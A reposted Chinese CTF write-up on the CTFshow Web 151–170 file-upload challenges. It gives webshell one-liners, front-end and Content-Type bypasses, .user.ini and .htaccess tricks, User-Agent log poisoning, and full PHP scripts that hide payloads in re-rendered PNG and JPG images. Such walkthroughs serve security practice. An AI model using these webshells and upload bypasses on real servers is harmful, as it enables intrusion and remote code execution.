文章详情

短信预约-IT技能 免费直播动态提醒

请输入下面的图形验证码

提交验证

短信预约提醒成功

CTFshow web入门——文件上传

2023-10-20 09:56

关注

目录

Web 151

考点:后端无验证,前端校验

在这里插入图片描述查看源码可以发现只能上传png图片
修改为php
在这里插入图片描述写一个php文件上传一句话木马
在这里插入图片描述
可以发现已经成功上传
在这里插入图片描述在这里插入图片描述查看上级目录发现可疑文件
在这里插入图片描述
查看flag.php文件内容得出flag
在这里插入图片描述

Web 152

在这里插入图片描述

考点:绕过前端校验

解题思路:
经过一系列的方法测试上题的解题方法并不适用于本题。直接改前端,后端会校验,文件不合格。那就抓包一下。
在这里插入图片描述
Content-Type内容修改成image/png,重发,发现成功上传
在这里插入图片描述剩下的步骤与151相同查看上级目录,发现flag.php,查看flag.php内容得到flag
在这里插入图片描述

Web 153

在这里插入图片描述

考点:文件后缀名,黑名单

利用上传user.ini进行文件上传绕过
解题过程:
上传一个含木马的图片
在这里插入图片描述接着上传.user.ini内容为 auto_append_file=“xxx”
xxx为我们上传的文件名
这样就在每个php文件上包含了我们的木马文件。
在这里插入图片描述
查看/upload目录下是否上传成功,木马上传成功
在这里插入图片描述

在这里插入图片描述

Web 154-155

在这里插入图片描述

考点:文件内容过滤,过滤关键字是php

上传一个图片木马,发现上传不了,经过一系列的尝试发现是对文件内容作了些过滤,过滤了php,所以采用简短的语句进行绕过
在这里插入图片描述

这一步和上题相似

在这里插入图片描述

发现已经上传成功
在这里插入图片描述

得到flag

在这里插入图片描述

Web 156-158

在这里插入图片描述在前面的基础上过滤了[]那我们直接用{}来代替

eval($_POST{1});?>

或者
那就直接输出flag算了,不搞一句话了。摊牌了,反正知道flag位置

system('tac ../f*')?>

在这里插入图片描述在这里插入图片描述

在这里插入图片描述

Web159

过滤了括号,那就用反引号就可以啦

`tac ../f*`?>

Web 160

考点:过滤了php,执行函数,反引号等

解题思路:
日志包含
过滤关键字是log
所以用拼接绕过
上传完.user.ini和图片后
访问网站然后修改ua头信息
在这里插入图片描述在这里插入图片描述
在这里插入图片描述

在这里插入图片描述
在这里插入图片描述

Web 161

在160的基础上增加图片头即可,即 GIF89A

Web 162-163

目前了解有三种解法
一种是session包含,一个是远程文件包含,还有一种是data伪协议,不过要把伪协议代码用取反表示
伪协议
条件竞争-脚本
条件竞争-burpsuit

但是这几种方法我都没有出结果,悲伤…

Web 164

考点: png二次渲染

利用下方代码进行png二次渲染绕过

$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,    0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,    0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,    0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,    0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,    0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,    0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,    0x66, 0x44, 0x50, 0x33);$img = imagecreatetruecolor(32, 32);for ($y = 0; $y < sizeof($p); $y += 3) {    $r = $p[$y];    $g = $p[$y+1];    $b = $p[$y+2];    $color = imagecolorallocate($img, $r, $g, $b);    imagesetpixel($img, round($y / 3), 0, $color);}imagepng($img,'1.png'); #保存在本地的图片马?>

木马内容

$_GET[0]($_POST[1]);?>

imagepng($img,'1.png');
要修改的图片的路径,1.png是使用的文件,可以不存在
会在目录下自动创建一个1.png图片
图片脚本内容:

$_GET[0]($_POST[1]);

使用方法:
例子:查看图片,get传入0=system;post传入tac flag.php

注:
运行上面的代码需要有php的gd库

下面的代码可以检测是否有gd库的存在

if(extension_loaded('gd')) {echo '可以使用gd';foreach(gd_info() as $cate=>$value)echo "$cate: $value";}elseecho '没有安装gd扩展';?>

如没有
把你PHP目录下的ext文件夹里的php_gd.dll复制到系统目录下(C:\Windows\System32),然后修改你的php.ini文件,找到以下位置

;extension=php_gd.dll

把前面的;去掉
如php.ini中没有extension=php_gd.dll,自行添加即可

将生成的图片上传,bp抓包
在这里插入图片描述

Web 165

考点:jpg二次渲染

运用以下脚本进行jpg二次渲染绕过

$miniPayload = '';if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {    die('php-gd is not installed');}if(!isset($argv[1])) {    die('php jpg_payload.php ');}set_error_handler("custom_error_handler");for($pad = 0; $pad < 1024; $pad++) {    $nullbytePayloadSize = $pad;    $dis = new DataInputStream($argv[1]);    $outStream = file_get_contents($argv[1]);    $extraBytes = 0;    $correctImage = TRUE;    if($dis->readShort() != 0xFFD8) {        die('Incorrect SOI marker');    }    while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {        $marker = $dis->readByte();        $size = $dis->readShort() - 2;        $dis->skip($size);        if($marker === 0xDA) {            $startPos = $dis->seek();            $outStreamTmp =                substr($outStream, 0, $startPos) .                $miniPayload .                str_repeat("\0",$nullbytePayloadSize) .                substr($outStream, $startPos);            checkImage('_'.$argv[1], $outStreamTmp, TRUE);            if($extraBytes !== 0) {                while((!$dis->eof())) {                    if($dis->readByte() === 0xFF) {                        if($dis->readByte !== 0x00) {break;                        }                    }                }                $stopPos = $dis->seek() - 2;                $imageStreamSize = $stopPos - $startPos;                $outStream =                    substr($outStream, 0, $startPos) .                    $miniPayload .                    substr(                        str_repeat("\0",$nullbytePayloadSize).                        substr($outStream, $startPos, $imageStreamSize),                        0,                        $nullbytePayloadSize+$imageStreamSize-$extraBytes) .                    substr($outStream, $stopPos);            } elseif($correctImage) {                $outStream = $outStreamTmp;            } else {                break;            }            if(checkImage('payload_'.$argv[1], $outStream)) {                die('Success!');            } else {                break;            }        }    }}unlink('payload_'.$argv[1]);die('Something\'s wrong');function checkImage($filename, $data, $unlink = FALSE) {    global $correctImage;    file_put_contents($filename, $data);    $correctImage = TRUE;    imagecreatefromjpeg($filename);    if($unlink)        unlink($filename);    return $correctImage;}function custom_error_handler($errno, $errstr, $errfile, $errline) {    global $extraBytes, $correctImage;    $correctImage = FALSE;    if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) {        if(isset($m[1])) {            $extraBytes = (int)$m[1];        }    }}class DataInputStream {    private $binData;    private $order;    private $size;    public function __construct($filename, $order = false, $fromString = false) {        $this->binData = '';        $this->order = $order;        if(!$fromString) {            if(!file_exists($filename) || !is_file($filename))                die('File not exists ['.$filename.']');            $this->binData = file_get_contents($filename);        } else {            $this->binData = $filename;        }        $this->size = strlen($this->binData);    }    public function seek() {        return ($this->size - strlen($this->binData));    }    public function skip($skip)    {        $this->binData = substr($this->binData, $skip);    }    public function readByte() {        if($this->eof()) {            die('End Of File');        }        $byte = substr($this->binData, 0, 1);        $this->binData = substr($this->binData, 1);        return ord($byte);    }    public function readShort() {        if(strlen($this->binData) < 2) {            die('End Of File');        }        $short = substr($this->binData, 0, 2);        $this->binData = substr($this->binData, 2);        if($this->order) {            $short = (ord($short[1]) << 8) + ord($short[0]);        } else {            $short = (ord($short[0]) << 8) + ord($short[1]);        }        return $short;    }    public function eof() {        return !$this->binData||(strlen($this->binData) === 0);    }}?>

先上传一张jpg图片然后下载到本地重命名为2.jpg,再用jpg脚本生成payload_2.jpg
在这里插入图片描述
a为文件名

php jpg二次渲染.php a.jpg

在上传payload_2.jpg,抓包
在这里插入图片描述

注:
jpg脚本需在linux环境下运行,我的系统为ubuntu

安装php

sudo apt-get install php

发现报错,需要重新寻找更新源
在这里插入图片描述
解决方法如下:

sudo vim sources.listdeb http://mirrors.aliyun.com/ubuntu/ raring main restricted universe multiverse  deb http://mirrors.aliyun.com/ubuntu/ raring-security main restricted universe multiverse  deb http://mirrors.aliyun.com/ubuntu/ raring-updates main restricted universe multiverse  deb http://mirrors.aliyun.com/ubuntu/ raring-proposed main restricted universe multiverse  deb http://mirrors.aliyun.com/ubuntu/ raring-backports main restricted universe multiverse  deb-src http://mirrors.aliyun.com/ubuntu/ raring main restricted universe multiverse  deb-src http://mirrors.aliyun.com/ubuntu/ raring-security main restricted universe multiverse  deb-src http://mirrors.aliyun.com/ubuntu/ raring-updates main restricted universe multiverse  deb-src http://mirrors.aliyun.com/ubuntu/ raring-proposed main restricted universe multiverse  deb-src http://mirrors.aliyun.com/ubuntu/ raring-backports main restricted universe multiverse  sudo apt-get updatesudo apt-get install phpjpg脚本需要php-gd库,下面为下载流程sudo apt-cache search php-gd(查询需要的php-gd版本)sudo apt-get install php7.4-gdsudo php -m(查看gd是否安装成功)

Web 166

发现只可以上传zip文件
在这里插入图片描述
在zip文件里加入一句话木马,上传抓包
在这里插入图片描述

在这里插入图片描述

Web 167

考点:Apache的包含解析

.htaccess进行绕过了
首先上传.htaccess

AddType application/x-httpd-php .jpg 

在这里插入图片描述再上传一句话木马
在这里插入图片描述

在这里插入图片描述

Web 168

考点:免杀,过滤了好多执行函数

上传png文件抓包,修改文件后缀为php,加入免杀代码
在这里插入图片描述直接访问upload/1.php
查看源码即可得到flag
在这里插入图片描述

Web 169

考点:免杀,主要是过滤了php, <>等

创建index.php文件,因为日志文件内容将会在index.php中显现
在这里插入图片描述UA中加入一句话木马
在这里插入图片描述

在这里插入图片描述phpinfo()可作为瞄点

在这里插入图片描述

Web 170

先上传一个zip,然后抓包,改Content-Typeimage/png,可以传php等格式,但是发现文件内容过滤了 <> php $

发现可以上传 .user.ini 文件

GIF89Aauto_append_file="/var/log/nginx/access.log"

在这里插入图片描述

UA添加小马

 @eval($_POST['shell']);?>

在这里插入图片描述

蚁剑相连
在这里插入图片描述

在这里插入图片描述在这里插入图片描述

来源地址:https://blog.csdn.net/qq_49480008/article/details/123411088

阅读原文内容投诉

免责声明:

① 本站未注明“稿件来源”的信息均来自网络整理。其文字、图片和音视频稿件的所属权归原作者所有。本站收集整理出于非商业性的教育和科研之目的,并不意味着本站赞同其观点或证实其内容的真实性。仅作为临时的测试数据,供内部测试之用。本站并未授权任何人以任何方式主动获取本站任何信息。

② 本站未注明“稿件来源”的临时测试数据将在测试完成后最终做删除处理。有问题或投稿请发送至: 邮箱/279061341@qq.com QQ/279061341

软考中级精品资料免费领

  • 历年真题答案解析
  • 备考技巧名师总结
  • 高频考点精准押题
  • 2024年上半年信息系统项目管理师第二批次真题及答案解析(完整版)

    难度     813人已做
    查看
  • 【考后总结】2024年5月26日信息系统项目管理师第2批次考情分析

    难度     354人已做
    查看
  • 【考后总结】2024年5月25日信息系统项目管理师第1批次考情分析

    难度     318人已做
    查看
  • 2024年上半年软考高项第一、二批次真题考点汇总(完整版)

    难度     435人已做
    查看
  • 2024年上半年系统架构设计师考试综合知识真题

    难度     224人已做
    查看

相关文章

发现更多好内容

猜你喜欢

AI推送时光机
位置:首页-资讯-后端开发
咦!没有更多了?去看看其它编程学习网 内容吧
首页课程
资料下载
问答资讯